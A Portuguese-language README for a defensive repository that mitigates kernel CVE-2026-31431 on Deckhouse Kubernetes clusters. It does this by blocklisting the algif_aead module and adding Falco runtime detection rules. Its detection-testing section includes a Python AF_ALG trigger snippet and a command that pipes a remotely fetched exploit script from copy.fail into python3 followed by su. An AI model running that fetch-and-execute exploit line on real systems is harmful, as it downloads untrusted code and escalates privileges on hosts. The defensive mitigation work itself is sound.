
Mitigação nativa do Kubernetes para CVE-2026-31431 com bloqueio automatizado de módulos do kernel, regras de detecção runtime do Falco e configuração de nós baseada em bashible para clusters Deckhouse.
Idioma: Inglês | Русский
CVE-2026-31431 é uma vulnerabilidade no módulo algif_aead do kernel Linux,
que expõe a API de criptografia do kernel para o espaço do usuário através da
família de sockets AF_ALG. Uma falha na interface AEAD (Autenticated Encryption
with Associated Data) permite que um usuário local não privilegiado desencadeie
corrupção de memória no kernel ao enviar listas scatter-gather criadas,
levando a escalada local de privilégios ou negação de serviço.
A superfície vulnerável é acessível a partir de qualquer processo — incluindo
contêineres não privilegiados — que tenha permissão para chamar socket(AF_ALG, SOCK_SEQPACKET, 0) e vinculá-lo a um algoritmo do tipo aead. Runtimes de
contêiner que não removem o perfil seccomp padrão ou não restringem a chamada
de sistema socket expõem os nós do cluster ao ataque.
A mitigação recomendada, até que o patch upstream do kernel seja distribuído
por meio de atualizações de pacotes do SO, é desabilitar o módulo do kernel
algif_aead em todos os nós do cluster e detectar tentativas de exploração
em tempo de execução.
Este repositório contém tudo o que é necessário para mitigar CVE-2026-31431 em um cluster gerenciado pela Deckhouse:
ngc-cve-2026-31431.yaml — mitigação no lado do nóO NodeGroupConfiguration é executado através do bashible em cada nó e realiza
quatro etapas:
AF_ALG e o vincula a aead/gcm(aes) para
determinar se a interface vulnerável está acessível no nó./etc/modprobe.d/disable-algif.conf com diretivas
install que impedem que algif_aead (e o guarda-chuva af_alg) sejam
carregados novamente, seja manualmente ou como dependência.rmmod algif_aead se o módulo estiver
atualmente carregado. Ignorado se o módulo estiver embutido no kernel (nesse
caso, apenas a lista de bloqueio + detecção em tempo de execução se aplicam).Idempotente: reexecutar a configuração em um nó já mitigado não causa efeito.
far-cve-2026-31431.yaml — detecção em tempo de execuçãoO recurso FalcoAuditRules adiciona uma regra Falco personalizada que dispara
um evento Critical sempre que um processo abre um socket AF_ALG e o vincula
a um algoritmo aead (o padrão de chamada de sistema exclusivo deste ataque).
Ele também emite um evento Warning quando um processo tenta carregar o módulo
algif_aead via modprobe/insmod, o que em um nó mitigado nunca deve
ocorrer e é um forte sinal de tentativa de exploração ou configuração incorreta
do operador.
Nota sobre edições:
FalcoAuditRulesé reconciliado pelo móduloruntime-audit-engine, que é fornecido apenas no Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE). Na Community Edition o recurso não será processado; oNodeGroupConfigurationdeste repositório ainda se aplica e é a mitigação primária.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE only:
kubectl apply -f far-cve-2026-31431.yaml
Aguarde a configuração ser aplicada em cada nó observando o status de cada
NodeGroup. O bashible reporta o sucesso por etapa de volta ao NodeGroup,
e a Deckhouse agrega isso em dois campos que você pode consultar:
.status.upToDate — número de nós cuja última execução do bashible foi bem-sucedida
com a configuração atual. A convergência é alcançada quando
upToDate == nodes para cada grupo..status.conditionSummary.ready — "True" quando o grupo está saudável;
muda para "False" com um motivo legível por humanos em
.status.conditionSummary.statusMessage se alguma etapa do bashible de
qualquer nó falhar (que é exatamente o que a etapa de verificação no
NodeGroupConfiguration faz em um nó onde a correção não pôde ser aplicada).Uma visão única em todos os grupos:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
Uma verificação programável que sai com 0 apenas quando todos os grupos convergiram:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "ainda convergindo" || echo "todos os grupos de nós convergiram"
Se um NodeGroup ficar travado com conditionSummary.ready == "False", leia
.status.conditionSummary.statusMessage — ele exibe a etapa do bashible que
falhou, incluindo a etapa de verificação desta mitigação.
Assim que o pacote do kernel upstream contendo a correção oficial for instalado em cada nó, remova ambos os recursos:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
Remover o NodeGroupConfiguration não exclui automaticamente
/etc/modprobe.d/disable-algif.conf — limpe-o manualmente se quiser que o
módulo possa ser carregado novamente, ou deixe a lista de bloqueio no lugar se
a API de criptografia do kernel não for usada por nenhuma carga de trabalho no
cluster.
Em todo o cluster:
kubectl get nodegroups
UPTODATE deve ser igual a NODES e a coluna de mensagem de status deve estar
vazia para cada grupo.
Em um nó (SSH ou kubectl debug node/<nome> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
Esperado:
cat mostra as quatro linhas install / blacklist.lsmod está vazio.modprobe -n -v imprime install /bin/false.modprobe retorna exit=1.Use esta subseção para validar que o FalcoAuditRules personalizado para CVE-2026-31431 realmente dispara em cada execução do PoC.
Pré-verificações comuns para ambos os cenários:
runtime-audit-engine está saudável em todos os nós:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
Esperado: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Importante: use -i para que o Python receba o script via stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Limpeza:
kubectl delete pod cve-31431-test --ignore-not-found
Aviso de segurança: sempre revise qualquer script baixado antes de executá-lo. Não execute scripts remotos cegamente em ambientes de produção.
Recomendado (revise primeiro, depois execute):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
One-liner equivalente (após revisão/aprovação):
curl https://copy.fail/exp | python3 && su
Verifique as detecções:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| Arquivo | Propósito |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration que sonda a interface vulnerável, bloqueia o carregamento de algif_aead, descarrega o módulo se estiver atualmente carregado e verifica se a correção é eficaz. Aplica-se a todos os bundles e grupos de nós. |
far-cve-2026-31431.yaml | FalcoAuditRules que detecta tentativas em tempo de execução de explorar a vulnerabilidade através de sockets AF_ALG vinculados a algoritmos AEAD. Disponível apenas no Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE), pois o módulo runtime-audit-engine é fornecido nessas edições. |